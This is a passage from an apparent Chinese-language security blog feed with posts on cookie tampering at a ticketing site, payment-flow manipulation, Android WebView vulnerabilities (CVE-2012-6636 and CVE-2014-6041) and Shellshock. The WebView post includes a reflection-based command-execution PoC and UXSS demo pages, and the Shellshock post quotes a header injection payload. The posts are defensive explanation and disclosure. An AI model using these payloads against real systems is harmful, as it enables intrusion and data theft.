<span class="n">id</span><span class="o">=</span><span class="n">USER_ID</span></code></pre></figure> <p>從只需要告訴伺服器身分證字號就回傳會員資料,到變成需要身分證字號和會員編號同時正確才會回傳會員資料,至此,攻擊者已經很難同時知道別人的會員編號和身分證字號了,因此大大降低了被猜中的機率,增加了安全性。</p> <p>Cookie 一直以來都是 Web Application Security 領域的兵家必爭之地,攻擊者無不絞盡腦汁想偷到或偽造它,前陣子舉辦的 <a href="http://girls.hitcon.org/">HITCON GIRLS</a> Web 課堂練習題第一題就是改 Cookie 來偽造身分,足見這個問題有多基本和重要。</p> <p>關於 Cookie,這裡提供一點原則和概念供大家參考:</p> <p>首先,Cookie 是存在客戶端的,所以有機會被看到、被竄改、被其他人偷走。基於這些原因,不建議在 Cookie 中儲存機敏資料,或是存放會影響伺服器運作的重要參數,需評估一下這些暫存資料被人家看到或修改是不是沒差,這是儲存的原則。如果權衡後還是要在 Cookie 中存放重要資料,那就需要對值加密避免被讀改,而且要確保加密的強度以及其他人是否能透過其他方法解析修改。最後,Cookie 最常被偷走的方式是透過 JavaScript,所以建議在重要的 Cookie 加上 <a href="https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/">HttpOnly flag</a> 能有效的降低被偷走的機率。也來試著整理一下這一小段的重點:</p> <ul class="devcore"> <li>機敏資料不要存</li> <li>加密資訊不可少</li> <li>設定標頭不怕駭</li> <li>一次搞定沒煩惱</li> </ul> <p>沒想到信手拈來就是三不一沒有,前面再加個勾勾,感覺好像很厲害呢!</p> <h3 id="結論">結論</h3> <p>由於 Cookie 存在瀏覽器端,有被竄改的可能,所以如果網站使用 Cookie 認證就會有一些安全上的風險。本篇就以宏碁雲端售票為例,說明這種小疏忽可能會造成被盜用帳號的風險。開發者在面對使用者可以改變的變數一定要特別小心處理,做好該有的防護,還是老話一句:使用者傳來的資料皆不可信!只要掌握這個原則,開發出來的產品就能夠少很多很多風險!</p> <p>行文至此,預期中是要再推廣一下漏洞回報平台,順便稱讚宏碁非常重視資安,修復快速,是良好的正循環。不過前兩天看到一些關於宏碁雲端售票的新聞時,上線發現此弱點仍未修復,這好像真的有點不應該,畢竟官方上週已經接收到通報,要修復這個弱點也只需一行判斷式…。能理解這次的弱點在短時間開發過程中很難被注意到,對於這樣一個一週不眠不休完成的售票網站,我其實也是給予滿高的評價,但如果官方能再增兩分對資安事件的重視,相信下次定能以滿分之姿呈現在使用者面前!</p> https://devco.re/blog/2015/01/30/cookie-security-insight-acer/ https://devco.re/blog/2015/01/30/cookie-security-insight-acer Fri, 30 Jan 2015 00:00:00 +0800 從寬宏售票談資安 <p>戴夫寇爾部落格停載了快兩個月,非常抱歉,讓各位常常催稿的朋友們久等了 &lt;(_ _)&gt;<br /> 今天就乘著全臺瘋買票的浪頭,來談談一些常被忽略的資訊安全小概念吧!</p> <!-- more --> <p>江蕙引退演唱會一票難求,隔岸觀了兩天火, 也忍不住想要當個鍵盤孝子。無奈運氣不好一直連不上主機,『Service Unavailable』畫面看膩了,只好看看暫存頁面的網頁原始碼,不看還好,一看我驚呆了!</p> <p><a href="/assets/img/blog/20150109/kham_information_leakage.png"><img src="/assets/img/blog/20150109/kham_information_leakage.png" alt="寬宏售票資訊洩漏" title="寬宏售票資訊洩漏" /></a> (特別聲明:此流程中並無任何攻擊行為,該頁面是正常購票流程中出現的網頁)</p> <p>在結帳網頁原始碼當中竟然看到了疑似資料庫密碼 SqlPassWord 在表單裡面!這件事從資安的角度來看,除了表面上洩漏了資料庫密碼之外,還有兩個我想講很久但苦無機會談的資安議題,分別是金流串接常見的弱點以及駭客的心理。藉著寬宏售票網頁洩漏密碼這件事情,順道與大家分享分享吧!</p> <h3 id="談台灣網站的金流串接">談台灣網站的金流串接</h3> <p>在本篇的例子中,寬宏售票網頁表單出現了疑似資料庫密碼,這狀況就好像去銀行繳款,櫃檯給你一把鑰匙跟你說:『這是金庫的鑰匙,麻煩你到對面那個櫃檯把鑰匙給服務員,請他幫你把錢放進金庫裡面』。<br /> 是不是有點多此一舉,銀行本來就會有一份鑰匙,幹嘛要請你(瀏覽器)幫忙轉交?<br /> 如果今天壞人拿到了這把鑰匙,是不是只要繞過保全的視線,就可以打開金庫為所欲為?</p> <p><a href="/assets/img/blog/20150109/3d_key_to_success.jpg"><img src="/assets/img/blog/20150109/3d_key_to_success.jpg" alt="key_to_success" title="key_to_success" /></a> <br />(Photo by StockMonkeys.com)</p> <p>類似的狀況也滿常發生在電子商務與第三方金流服務的串接上。<br /> 許多電子商務網站專注於商務,選擇將付款步驟委託第三方金流服務處理,一般常見的流程是這樣的:</p> <ol> <li>電子商務訂單成立,電子商務網站給你一張單子,上面寫著:『訂單 123 號, 金額 456 元』,請你將單子轉交給第三方金流服務網站並繳款。</li> <li>金流服務網站依據你給它的單據收取 456 元,並且跟電子商務網站說:『訂單 123 已成功繳款,款項 456 元』。</li> <li>最後電子商務網站告訴你訂單 123 號購買成功。</li> </ol> <p>如果現在有一個惡意使用者,他做了以下惡搞:</p> <ol> <li>在步驟一把電子商務網站給的單子修改成:『訂單 123 號,金額 20 元』(原價是 456 元)</li> <li>金流服務商依據單據跟惡意使用者收取 20 元費用,並且告訴電子商務網站:『訂單 123 已成功繳款,款項 20 元』</li> <li>最後電子商務網站看到『訂單 123 已成功繳款』的訊息,就告訴使用者說訂單 123 購買成功。也就是惡意使用者只花取 20 元就購買到原價 456 元的產品。</li> </ol> <p>(聲明:為求精簡,電子商務與金流服務串接流程有經過簡化,有抓到精髓就好XD)</p> <p>不管是寬宏售票出現密碼欄位還是上例電子商務網站的金流串接,最大的問題在於他們都相信使用者會正常幫忙轉交,即靠客戶端的瀏覽器來轉址傳值。要知道,利用瀏覽器轉址傳值是不可靠的,一來,重要的資訊就會被客戶知道,例如寬宏售票疑似洩漏資料庫密碼;二來中間的內容可以修改,例如修改訂單金額。另外,可能有人會發現到,在惡意使用者的步驟三裡面,電子商務網站竟然沒有確認付款金額是否正確,沒錯,這是會發生的事情,在過去經驗中,像這樣沒有比對付款金額的台灣系統比例還不少,這些疏忽都會造成企業很多成本損失,不可不注意。</p> <p>台灣目前還滿常見到這種根據使用者傳來單據來收費的狀況,導致單據可竄改造成企業損失,某部分原因可以歸咎到早期第三方金流的範例都是這樣寫的,工程師也就直接延續這樣的寫法直到現在。以金流串接為例,比較好的處理方式有下面兩種:</p> <ul> <li>在單據上加入防偽標記,讓惡意使用者無法輕易竄改單據。在技術上作法有點類似 OAuth 在 Signing Request 時的作法,在請求中多送一組檢查碼,透過 one-way hash 的方式檢查網址是否有被修改,目前大部分金流商都有提供相似解法。</li> <li>單據不再給使用者轉交,電子商務直接傳單子『訂單 123 號,金額 20 元』給金流服務網站,並請使用者直接去專屬的金流商窗口繳費即可。在技術上就是將瀏覽器轉址傳值的動作全部變成伺服器對伺服器溝通處理掉。</li> </ul> <p>以上兩種作法,將可以有效防止惡意使用者修改訂單金額。此外,建議電子商務網站在收到金流回傳的付款資訊後,能夠比對收取款項與訂單款項是否相符,如此雙重檢查,能大大避免惡意行為,減少企業處理惡意金流問題的成本。</p> <h3 id="談駭客心理">談駭客心理</h3> <p>很明顯的,寬宏售票洩漏密碼的狀況是工程師的小疏漏。在不知道資料庫確切位置的前提下,知道疑似資料庫密碼的東西確實也無法做什麼,頂多就是了解了一家公司制定密碼的策略。然而,看在駭客眼裡,這點疏失會代表著一個網站面對資安的態度。連顯而易見的問題都沒有注意,那後端程式應該也有可能出現漏洞。一旦駭客決定要攻擊這個網站,勢必會搬出比平常還要多的資源去嘗試,因為他們認為這個投資報酬率很高。</p> <p>一般駭客基本上會不斷的從所看到的網頁資訊來調整自己攻擊的強度,如果他們不斷看到了奇怪的登入畫面:</p> <p><a href="/assets/img/blog/20150109/kham_login_1.png"><img src="/assets/img/blog/20150109/kham_login_1.png" alt="寬宏售票登入頁面1" title="寬宏售票登入頁面1" /></a></p> <p>或是防火牆的登入畫面</p> <p><a href="/assets/img/blog/20150109/kham_login_2.png"><img src="/assets/img/blog/20150109/kham_login_2.png" alt="寬宏售票登入頁面2" title="寬宏售票登入頁面2" /></a></p> <p>就很有可能會增加攻擊的力道。上面這種登入頁面就是就是一種常見的資訊洩漏,在今年台灣駭客年會的議程-「<a href="https://devco.re/blog/2014/08/26/information-leakage-in-taiwan-HITCON2014/">被遺忘的資訊洩漏</a>」就提及了這類資訊洩漏在台灣是很普及的。注意,出現這樣的頁面並不意味著網站會有漏洞,只是網站容易因此多受到一些攻擊。反之,如果一個網站前端頁面寫的乾淨漂亮,甚至連 <a href="https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/">HTTP 安全 header</a> 這種小細節都會注意到,駭客可能就會認為這個網站寫的很嚴謹,甚至連嘗試的慾望都沒有了。</p> <p>一個經驗豐富的駭客,通常光看首頁就能夠判斷該網站是否可能存有漏洞,憑藉的就是這些蛛絲馬跡。為了不讓自家網站常被路過的惡意使用者攻擊,加強網頁前端的呈現、網頁原始碼乾淨有架構、沒有太多資訊洩漏,這些都是很好的防禦方法。</p> <h3 id="結論">結論</h3> <p>在使用最近熱門的寬宏售票網站時,我們發現網頁原始碼存在一些疑似密碼的資訊。從這件事情出發,我們分別延伸探討了兩個工程師應該注意的議題:</p> <ul> <li>第一個議題提醒大家在開發的時候,重要的資訊千萬不要透過客戶端瀏覽器幫忙轉送,記住客戶端都是不可信的,多經一手就多一分風險。文中舉出了台灣電商網站在金流串接時也常出現這樣的問題,可能會造成訂單金額被竄改等企業會有所損失的問題。</li> <li>第二個議題從駭客的心理來談資安,一個網站如果沒有什麼保護機制、輕易的洩漏網站資訊,非常容易挑起駭客想要嘗試入侵的慾望;反之,若一個網站從前端到使用流程都非常注意細節,一般駭客較會興致缺缺。嚴謹的前端呈現,就某種程度來說,也是一種對自身網站的保護。</li> </ul> <p>希望開發者看到上面這兩個議題有掌握到『別相信客戶端』、『駭客會因網站前端寫法不嚴謹而嘗試去攻擊』的重點,提昇自家網站的安全度吧!</p> <p>最後說個題外話,身為一個工程師,我認為資訊系統該帶給世界的好處是節省大家的時間,而這次搶票卻讓無數人徹夜排隊或守在電腦前不斷的『連不上、買票、失敗』循環。這也許能夠賺到大量的新聞版面,最終票也能全部賣光,但想到台灣有數十萬小時的生產力浪費在無意義的等待上,就覺得這個系統好失敗。現在的技術已經可以負荷這樣大規模的售票,<a href="https://kktix.com/">KKTIX</a> 甚至可以<a href="https://medium.com/@hlb/kktix-2015-01-7bf84c47dfdf">一分鐘處理 10 萬張劃位票券</a>!世界在進步,過去的技術也許就該讓它留在過去。有人說:『真正幸福的人:不是搶到票,是可以像江蕙一樣選擇人生』,希望我也可以變成一個幸福的人,可以選擇一個不塞車的售票系統。</p> https://devco.re/blog/2015/01/09/information-security-insight-kham/ https://devco.re/blog/2015/01/09/information-security-insight-kham Fri, 09 Jan 2015 00:00:00 +0800 Android WebView 為你的使用者打開了漏洞之門你知道嗎? <p>為了解決在應用程式中顯示網頁的需求,開發者一般會使用到由系統提供的 WebView 元件。而由於 JavaScript 被廣泛應用在網頁上,開發者通常也會把 WebView 處理 JavaScript 的功能打開,好讓大部分網頁能正常運作。但就在開啟這個像是必不可少的 JavaScript 功能時,背後一些由於系統漏洞而引發出來意想不到的風險卻有機會由此而生。接下來的部分將把這些漏洞為大家做個整理。</p> <!-- more --> <h3 id="相關漏洞">相關漏洞</h3> <h4 id="1-遠端代碼執行-remote-code-execution">1. 遠端代碼執行 (Remote Code Execution)</h4> <h5 id="風險木馬跳板個資被盜">風險:木馬跳板,個資被盜</h5> <p>目前有機會發生 RCE 風險都圍繞在 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a> 這個功能上,該功能原意是為被載入的網頁和原生程式間建立一個”橋樑”,通過預先設定好的介面,讓網頁能呼叫指定的公開函式並取得函式回傳的結果。</p> <figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">class</span> <span class="nc">JsObject</span> <span class="o">{</span> <span class="kd">public</span> <span class="nc">String</span> <span class="nf">toString</span><span class="o">()</span> <span class="o">{</span> <span class="k">return</span> <span class="s">"Hello World"</span><span class="o">;</span> <span class="o">}</span> <span class="o">}</span> <span class="n">webView</span><span class="o">.</span><span class="na">getSettings</span><span class="o">().</span><span class="na">setJavaScriptEnabled</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span> <span class="n">webView</span><span class="o">.</span><span class="na">addJavascriptInterface</span><span class="o">(</span><span class="k">new</span> <span class="nc">JsObject</span><span class="o">(),</span> <span class="s">"injectedObject"</span><span class="o">);</span> <span class="n">webView</span><span class="o">.</span><span class="na">loadUrl</span><span class="o">(</span><span class="s">"http://www.example.com/"</span><span class="o">);</span></code></pre></figure> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span>… <span class="nt">&lt;script&gt;</span> <span class="nx">alert</span><span class="p">(</span><span class="nx">injectedObject</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span> <span class="c1">// return "Hello World"</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span>…<span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p>像上面的例子裡,網頁能通過預先設定好的 “injectedObject” 介面,呼叫 “toString” 函式,得到 “Hello World” 這個字串。</p> <p>其漏洞 <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-6636">CVE-2012-6636</a> 最早在2012年12月被<a href="http://50.56.33.56/blog/?p=314">公佈</a>出來,攻擊者有機會利用他通過 Java Reflection API 來執行任意代碼。影響 Android 1.X ~ 4.1。</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;script&gt;</span> <span class="kd">function</span> <span class="nx">execute</span><span class="p">(</span><span class="nx">cmdArgs</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">injectedObject</span><span class="p">.</span><span class="nx">getClass</span><span class="p">().</span><span class="nx">forName</span><span class="p">(</span><span class="dl">"</span><span class="s2">java.lang.Runtime</span><span class="dl">"</span><span class="p">)</span> <span class="p">.</span><span class="nx">getMethod</span><span class="p">(</span><span class="dl">"</span><span class="s2">getRuntime</span><span class="dl">"</span><span class="p">,</span><span class="kc">null</span><span class="p">)</span> <span class="p">.</span><span class="nx">invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="kc">null</span><span class="p">).</span><span class="nx">exec</span><span class="p">(</span><span class="nx">cmdArgs</span><span class="p">);</span> <span class="p">}</span> <span class="nx">execute</span><span class="p">([</span><span class="dl">"</span><span class="s2">/system/bin/sh</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">-c</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">cat vuln &gt;&gt; attacker.txt</span><span class="dl">"</span><span class="p">]);</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p>其後 Google 在 Android 4.2 開始對 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a> 的使用方式加了限制,使用時需要在 Java 端把可被網頁執行的公開函式透過 @JavascriptInterface 來標註。並奉勸開發者別在 4.1 或之前的系統上使用 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a>。</p> <p>可是是否開發者只要在受影響的系統上不主動使用 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a> 就能解決問題呢?答案是否定的。</p> <p>在 Android 3.X ~ 4.1 上,WebView 預設會用 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a> 添加一個叫 “searchBoxJavaBridge_” 的介面。開發者如果沒有注意的話就會同樣會讓使用者陷入風險中。很巧合地,從 Android 3.0 開始 Google 加入了 <a href="http://developer.android.com/reference/android/webkit/WebView.html#removeJavascriptInterface(java.lang.String)">removeJavascriptInterface</a> 函式讓開發者可以移定指定的介面。所以開發者可以使用該函式在受影響的系統上把 “searchBoxJavaBridge_” 移除。</p> <p>除了 “searchBoxJavaBridge_” 外,還有兩個介面會在特定情況下被加到 WebView 中。若使用者有在手機上 [系統設定] 裡的 [協助工具],打開 [服務] 子分類中的任何一個項目,系統就會對其後建立的 WebView 自動加上 “accessibility” 和 “accessibilityTraversal”這兩個介面。這行為在 Android 4.4 由於<a href="https://android.googlesource.com/platform/frameworks/base/+/94c0057d67c2e0a4b88a4f735388639210260d0e">舊版 WebView 被取代</a>而消失了。</p> <p><img src="/assets/img/blog/20141013/android_accessibility_service.png" alt="Android 協助工具服務" /></p> <h4 id="防範">防範</h4> <p>作為開發者</p> <ul> <li>如非需要,關閉 JavaScript 功能 (預設關閉)</li> <li>可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料</li> <li>在有風險的系統中停用 <a href="http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)">addJavascriptInterface</a></li> <li>在有風險的系統中使用 <a href="http://developer.android.com/reference/android/webkit/WebView.html#removeJavascriptInterface(java.lang.String)">removeJavascriptInterface</a> 移除系統自帶的介面</li> </ul> <p>作為使用者</p> <ul> <li>如非需要,關閉 [不明的來源] 選項 (預設關閉)</li> <li>使用 Android 4.2 或以上不受影響的系統</li> <li>勿在受影響的系統上使用機敏服務或儲存機敏資料</li> </ul> <p><img src="/assets/img/blog/20141013/android_unknown_source.png" alt="Android 不明的來源" /></p> <h4 id="2-繞過同源策略-same-origin-policy-bypass">2. 繞過同源策略 (Same-Origin Policy bypass)</h4> <h5 id="風險個資被盜">風險:個資被盜</h5> <p>為防止網頁在載入外部資源時引發安全問題,瀏覽器會實作<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">同源策略</a>以限制程式碼和不同網域資源間的互動。</p> <p>其中 <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6041">CVE-2014-6041</a> 漏洞,通過程式在處理 \u0000 (unicode null byte) 時的失誤而繞過了原有的限制。</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;title&gt;</span>CVE-2014-6041 UXSS DEMO<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;iframe</span> <span class="na">name=</span><span class="s">"target_frame"</span> <span class="na">src=</span><span class="s">"http://devco.re/"</span><span class="nt">&gt;&lt;/iframe&gt;</span> <span class="nt">&lt;br</span> <span class="nt">/&gt;</span> <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"button"</span> <span class="na">value=</span><span class="s">"go"</span> <span class="na">onclick=</span><span class="s">"window.open('\u0000javascript:alert(document.domain)', 'target_frame')"</span> <span class="nt">/&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p>如果上面的網頁是放置在與 <a href="http://devco.re/">http://devco.re/</a> 不同源的地方,正常來說點擊按鈕後會因為 SOP 的關係,該段 JavaScript 無法執行而不會有反應。但在受影響的環境裡則能順利執行並跳出 “devco.re” 這個網域名稱。</p> <p>上述問題被發現後沒多久,再由相同研究員發現一個早在多年前已經被修正的 <a href="http://trac.webkit.org/changeset/96826">WebKit 臭蟲</a>仍然出現在 Android 4.3 及之前的版本上。</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;script&gt;</span> <span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">object</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">"</span><span class="s2">object</span><span class="dl">"</span><span class="p">);</span> <span class="nx">object</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">http://www.bing.com</span><span class="dl">"</span><span class="p">);</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">object</span><span class="p">);</span> <span class="nx">object</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nx">object</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">javascript:alert(document.domain)</span><span class="dl">"</span><span class="p">);</span> <span class="nx">object</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">foobar</span><span class="dl">"</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p>上述的跨來源操作同樣違反了 SOP,應當被拒絕執行。但他卻能在有風險的 WebView 上被執行,造成風險。</p> <h4 id="防範-1">防範</h4> <p>作為開發者</p> <ul> <li>如非需要,關閉 JavaScript 功能 (預設關閉)</li> <li>可考慮把網頁當作範本儲存在應用內,再用其他途徑載入資料</li> </ul> <p>作為使用者</p> <ul> <li>如非需要,關閉 [不明的來源] 選項 (預設關閉)</li> <li>使用 Android 4.4 或以上不受影響的系統</li> </ul> <h3 id="結語">結語</h3> <p>談到這裡大家可能會有個疑問,如果應用程式中所載入的遠端網頁網址都是固定,受開發者控制的,應該就會安全沒有風險。還記得在 <a href="http://devco.re/blog/2014/08/15/ssl-mishandling-on-mobile-app-development/">被忽略的 SSL 處理</a> 裡提及過的中間人攻擊嗎?如果連線過程是採用明文的 HTTP ,或是加密的 HTTPS 但沒落實做好憑證檢查,內容就有機會被攻擊者竊取修改,再結合上面提到的漏洞,對使用者帶來的影響則大大增加。</p> <p>下面我們製作了一段結合中間人攻擊與 addJavascriptInterface 漏洞,模擬使用者手機被入侵的影片:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/reKEu-Ajo50" frameborder="0"> </iframe></div></center> <p>從影片的最後可以看到,攻擊者取得存在漏洞的應用程式權限,並取得裡面的機敏資料。</p> <p>而在繞過同源策略問題上,無論是透過 null byte 或是設定屬性來達到,其實都是屬於存在已久的手法,多年前在別的平台、瀏覽器上就已經發生過,除了編寫上的疏忽外,缺乏一個完整的測試流程去做檢查相信也是其中一個原因。</p> <p>Android 的生態系統問題,使得大多數的使用者手機未能跟得上系統更新的步驟,讓他們即使知道自己所使用系統存在問題也愛莫能助。</p> <p>作為開發商,應需要在系統支援度與其相應存在的安全風險中取得平衡,來決定應用程式所支援的最低版本為何。最後作為一個負責任的開發者,應為已被公開的漏洞做好應對措施,避免使用者暴露在風險當中。</p> <h3 id="參考">參考</h3> <ul> <li><a href="http://50.56.33.56/blog/?p=314">Abusing WebView JavaScript Bridges</a></li> <li><a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html">Android Browser Same Origin Policy Bypass &lt; 4.4 - CVE-2014-6041</a></li> <li><a href="http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html">A Tale Of Another SOP Bypass In Android Browser &lt; 4.4</a></li> </ul> https://devco.re/blog/2014/10/13/android-webview-left-shortcuts-for-hacker/ https://devco.re/blog/2014/10/13/android-webview-left-shortcuts-for-hacker Mon, 13 Oct 2014 00:00:00 +0800 Shellshock (Bash CVE-2014-6271) 威脅仍在擴大中,但無需過度恐慌 <p>自 9/24 以來,不少資訊圈朋友日以繼夜的忙碌,這都多虧了藏在 Bash 裡 22 年的安全漏洞-<a href="https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29">Shellshock</a> (Bash CVE-2014-6271)。對於惡意攻擊者而言,這是今年來第二波淘金潮,相較於上次 <a href="https://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/">Heartbleed</a> 駭客們的刮刮樂遊戲需要拼運氣,這次的 Shellshock 只要一發現利用點,就能馬上擁有基本的系統操作權限,也難怪 <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271">NVD</a> 給予 Shellshock 最嚴重的 10.0 分影響等級。</p> <!-- more --> <p>Shellshock 受影響的 Bash 版本如下:</p> <ul> <li>Bash 4.3 Patch 25 (含)以前版本</li> <li>Bash 4.2 Patch 48 (含)以前版本</li> <li>Bash 4.1 Patch 12 (含)以前版本</li> <li>Bash 4.0 Patch 39 (含)以前版本</li> <li>Bash 3.2 Patch 52 (含)以前版本</li> <li>Bash 3.1 Patch 18 (含)以前版本</li> <li>Bash 3.0 Patch 17 (含)以前版本</li> <li>Bash 2.0.5b Patch 8 (含)以前版本</li> <li>Bash 1.14.7 (含)以前版本</li> </ul> <p>這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼,並且順利將這些環境變數傳入 bash,bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考<a href="http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html">這篇</a>。Shellshock 之所以嚴重,一來是因為攻擊語法相當簡單,只需要一行指令,就可以直接對系統進行操作;二來是因為 bash 使用範圍極廣,多款作業系統預設 shell 就是 bash。 常見的作業系統與其預設 shell 整理如下:</p> <table> <thead> <tr> <th style="text-align: left">作業系統</th> <th style="text-align: left">預設 shell</th> </tr> </thead> <tbody> <tr> <td style="text-align: left">CentOS</td> <td style="text-align: left"><font color="red">bash</font></td> </tr> <tr> <td style="text-align: left">Fedora</td> <td style="text-align: left"><font color="red">bash</font></td> </tr> <tr> <td style="text-align: left">RHEL</td> <td style="text-align: left"><font color="red">bash</font></td> </tr> <tr> <td style="text-align: left">Mac OS X</td> <td style="text-align: left"><font color="red">bash</font></td> </tr> <tr> <td style="text-align: left">Android</td> <td style="text-align: left">早期是 ash, 3.0 開始是 mksh</td> </tr> <tr> <td style="text-align: left">Debian</td> <td style="text-align: left">sh (Lenny, 5.0)<br />dash (Squeeze, 6.0)</td> </tr> <tr> <td style="text-align: left">embedded device</td> <td style="text-align: left">大部分使用 busybox (ash)</td> </tr> <tr> <td style="text-align: left">FreeBSD</td> <td style="text-align: left">tcsh</td> </tr> <tr> <td style="text-align: left">Ubuntu</td> <td style="text-align: left">dash</td> </tr> <tr> <td style="text-align: left">iOS</td> <td style="text-align: left">Jailbreak 後是 bash</td> </tr> </tbody> </table> <p><br /> 我們看到近半數知名的 un*x 系統預設使用 bash,可以推想這次影響範圍有多廣,尤其是許多服務都架構在這之上,若遭受到攻擊,損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統,也並不意味著完全沒有風險,例如 Ubuntu 在 DHCP 客戶端使用到 bash ,就仍然會有風險,下面文章中也會提到這樣的狀況。另外,早期新聞中常出現物聯網設備會受此漏洞影響的報導,經過我們實測,物聯網設備為求精簡,大多使用 busybox,而其 shell 為 ash,故大多數設備在這次 Shellshock 威脅中影響不大,不過儘管物聯網設備逃過了這次 Shellshock 事件,有許多設備仍然是<a href="http://devco.re/blog/2014/09/24/security-of-ip-camera-and-nvr/">赤裸裸</a>的。</p> <h3 id="常見的-shellshock-利用方式">常見的 Shellshock 利用方式</h3> <p>Shellshock 漏洞被公布後,惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊,一些遠端攻擊概念也陸續被證實。最早的<a href="http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html">公開大量掃描</a>是由 Errata Security 在其部落格公布技術細節,他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 <code class="language-plaintext highlighter-rouge">() { :; }; ping -c 3 209.126.230.74</code>,並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中,若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash,就會受到惡意語法的影響,執行 <code class="language-plaintext highlighter-rouge">ping -c 3 209.126.230.74</code> 指令。</p> <h4 id="攻擊使用-cgi-的網頁伺服器">攻擊使用 CGI 的網頁伺服器</h4> <p>利用同樣的道理,惡意攻擊者開始在 HTTP 表頭中置入惡意的語法,大量去掃描網路上的 CGI 網頁,因為這種網頁常呼叫系統指令,所以成功機率都頗高,攻擊成功的結果如下圖,從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。</p> <p><a href="/assets/img/blog/20140930/shellshock_cgi2.png"><img src="/assets/img/blog/20140930/shellshock_cgi2.png" alt="攻擊使用 CGI 的網頁伺服器" title="攻擊使用 CGI 的網頁伺服器" /></a></p> <p>詳細的實作流程請參考下面影片:</p> <center><div class="videowrapper"><iframe width="560" height="420" src="https://www.youtube.com/embed/RUsHcZi2hIU" frameborder="0"> </iframe></div></center> <p>我們團隊也在 CGI 環境下執行幾種程式語言進行測試,發現用到以下 function 時會讀取到環境變數(date 只是範例,可代換為其他系統指令),因此若伺服器在 CGI 環境下使用這些 function,會為伺服器本身帶來嚴重風險。</p> <table> <thead> <tr> <th style="text-align: left">Language</th> <th style="text-align: left">Vulnerable Function</th> </tr> </thead> <tbody> <tr> <td style="text-align: left">Perl</td> <td style="text-align: left">exec(“date &gt; /dev/null”);<br />open(SHELLSHOCK, “| date &gt; /dev/null”);<br />system(“date &gt; /dev/null;”);<br />print `date &gt; /dev/null`</td> </tr> <tr> <td style="text-align: left">PHP</td> <td 